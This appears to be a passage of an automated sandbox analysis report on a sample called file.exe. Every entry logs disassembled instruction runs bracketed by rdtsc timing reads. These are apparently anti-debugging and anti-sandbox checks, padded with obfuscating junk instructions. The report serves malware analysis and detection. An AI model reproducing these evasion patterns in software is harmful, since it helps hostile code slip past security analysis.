Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B512D second address: 8B5147 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F33C5AF17CCh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B48C8 second address: 8B48D2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F33C4756A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6B2C second address: 8B6B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7C30 second address: 8B7C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7C34 second address: 8B7CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F33C5AF17C8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 jmp 00007F33C5AF17CAh 0x00000029 push 00000000h 0x0000002b jmp 00007F33C5AF17CCh 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007F33C5AF17C8h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 00000018h 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c call 00007F33C5AF17CFh 0x00000051 add edi, dword ptr [ebp+122D2B8Dh] 0x00000057 pop edi 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F33C5AF17D8h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7CC8 second address: 8B7CCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7CCE second address: 8B7CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B79B7 second address: 8B79BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA9E1 second address: 8BA9E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA9E7 second address: 8BAA6C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007F33C4756A31h 0x00000010 jmp 00007F33C4756A2Ah 0x00000015 pop edi 0x00000016 mov esi, eax 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F33C4756A28h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 mov edi, dword ptr [ebp+122D3665h] 0x0000003a mov edi, esi 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push esi 0x00000041 call 00007F33C4756A28h 0x00000046 pop esi 0x00000047 mov dword ptr [esp+04h], esi 0x0000004b add dword ptr [esp+04h], 00000015h 0x00000053 inc esi 0x00000054 push esi 0x00000055 ret 0x00000056 pop esi 0x00000057 ret 0x00000058 mov dword ptr [ebp+124555EAh], edi 0x0000005e xor dword ptr [ebp+12450B00h], edi 0x00000064 xchg eax, ebx 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BAA6C second address: 8BAA70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BAA70 second address: 8BAA76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BAA76 second address: 8BAA7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB59B second address: 8BB5A5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33C4756A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB5A5 second address: 8BB5AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB2EE second address: 8BB315 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F33C4756A31h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F33C4756A2Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB5AC second address: 8BB637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F33C5AF17D9h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F33C5AF17C8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov edi, 67A13BF8h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007F33C5AF17C8h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 or dword ptr [ebp+12454FE6h], ecx 0x0000004f push 00000000h 0x00000051 push eax 0x00000052 push ebx 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F33C5AF17D5h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB637 second address: 8BB63B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE7F7 second address: 8BE801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F33C5AF17C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE801 second address: 8BE871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F33C4756A28h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 or edi, dword ptr [ebp+122D39DFh] 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007F33C4756A28h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 mov bx, si 0x00000048 push 00000000h 0x0000004a and bl, 00000006h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 push edx 0x00000052 pop edx 0x00000053 jmp 00007F33C4756A2Eh 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE9EA second address: 8BEA7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F33C5AF17CCh 0x0000000f nop 0x00000010 mov bx, dx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov dword ptr [ebp+122D1BC6h], edi 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007F33C5AF17C8h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 00000018h 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 mov eax, dword ptr [ebp+122D0669h] 0x00000047 mov ebx, dword ptr [ebp+122D2CE1h] 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push esi 0x00000052 call 00007F33C5AF17C8h 0x00000057 pop esi 0x00000058 mov dword ptr [esp+04h], esi 0x0000005c add dword ptr [esp+04h], 00000017h 0x00000064 inc esi 0x00000065 push esi 0x00000066 ret 0x00000067 pop esi 0x00000068 ret 0x00000069 mov bh, dl 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFAF1 second address: 8BFB04 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F33C4756A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BEA7F second address: 8BEA86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0B0C second address: 8C0BB2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F33C4756A2Dh 0x0000000e jg 00007F33C4756A28h 0x00000014 popad 0x00000015 nop 0x00000016 mov edi, 3E613A8Ah 0x0000001b push dword ptr fs:[00000000h] 0x00000022 jno 00007F33C4756A39h 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007F33C4756A28h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 mov eax, dword ptr [ebp+122D05C9h] 0x0000004f push 00000000h 0x00000051 push edi 0x00000052 call 00007F33C4756A28h 0x00000057 pop edi 0x00000058 mov dword ptr [esp+04h], edi 0x0000005c add dword ptr [esp+04h], 00000018h 0x00000064 inc edi 0x00000065 push edi 0x00000066 ret 0x00000067 pop edi 0x00000068 ret 0x00000069 mov ebx, esi 0x0000006b or bx, 3E2Dh 0x00000070 push FFFFFFFFh 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 pushad 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFB04 second address: 8BFB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0BB2 second address: 8C0BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F33C4756A26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1ACD second address: 8C1AD3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFB09 second address: 8BFB0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0BBD second address: 8C0BCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33C5AF17CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1AD3 second address: 8C1AD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1AD8 second address: 8C1AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F33C5AF17C6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F33C5AF17D1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1AF9 second address: 8C1AFE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3C09 second address: 8C3C1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jne 00007F33C5AF17C6h 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4B04 second address: 8C4B1C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007F33C4756A2Bh 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4B1C second address: 8C4B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4B22 second address: 8C4B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5BB2 second address: 8C5BB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4B26 second address: 8C4B2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5BB8 second address: 8C5BCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33C5AF17D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4BD6 second address: 8C4BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4BDA second address: 8C4BE4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F33C5AF17CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5BCF second address: 8C5C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 pushad 0x00000009 jmp 00007F33C4756A31h 0x0000000e adc bx, 6132h 0x00000013 popad 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F33C4756A28h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c sub bx, 55A5h 0x00000041 mov eax, dword ptr [ebp+122D0A21h] 0x00000047 mov bx, 054Dh 0x0000004b mov ebx, dword ptr [ebp+122D1B6Dh] 0x00000051 push FFFFFFFFh 0x00000053 mov dword ptr [ebp+12478B3Eh], edx 0x00000059 push eax 0x0000005a pushad 0x0000005b jmp 00007F33C4756A39h 0x00000060 push eax 0x00000061 push edx 0x00000062 je 00007F33C4756A26h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9C4B second address: 8C9C51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCD82 second address: 8CCD8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F33C4756A26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCE69 second address: 8CCE6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCE6D second address: 8CCE73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCE73 second address: 8CCE8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33C5AF17D3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1FFB second address: 8D200B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D200B second address: 8D2020 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5F6E second address: 8D5F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D56FD second address: 8D5702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5702 second address: 8D571C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33C4756A34h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D571C second address: 8D5736 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F33C5AF17D1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5879 second address: 8D587D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB32E second address: 8DB34B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB34B second address: 8DB395 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33C4756A2Ah 0x00000008 jmp 00007F33C4756A32h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F33C4756A34h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jns 00007F33C4756A2Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0A95 second address: 8E0AB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F33C5AF17D1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0AB0 second address: 8E0AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF789 second address: 8DF78D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFD50 second address: 8DFD5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F33C4756A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFD5A second address: 8DFD5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFD5E second address: 8DFD89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 jl 00007F33C4756A26h 0x00000016 jmp 00007F33C4756A2Eh 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFD89 second address: 8DFD8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01AB second address: 8E01B5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33C4756A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01B5 second address: 8E01CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jmp 00007F33C5AF17CFh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0313 second address: 8E0332 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F33C4756A35h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E04D2 second address: 8E04D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E04D6 second address: 8E04E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F33C4756A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6404 second address: 8E6425 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D4h 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a js 00007F33C5AF17C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4D7F second address: 8E4D87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4D87 second address: 8E4D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4D8B second address: 8E4DD8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F33C4756A2Ch 0x00000014 jl 00007F33C4756A26h 0x0000001a jmp 00007F33C4756A38h 0x0000001f popad 0x00000020 jmp 00007F33C4756A33h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E523B second address: 8E5240 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E57B2 second address: 8E57B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5A98 second address: 8E5AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F33C5AF17D2h 0x0000000d pop ebx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5AB6 second address: 8E5AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F33C4756A2Bh 0x0000000f ja 00007F33C4756A26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5AD1 second address: 8E5AE9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F33C5AF17C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F33C5AF17CCh 0x00000012 jp 00007F33C5AF17C6h 0x00000018 rdtsc
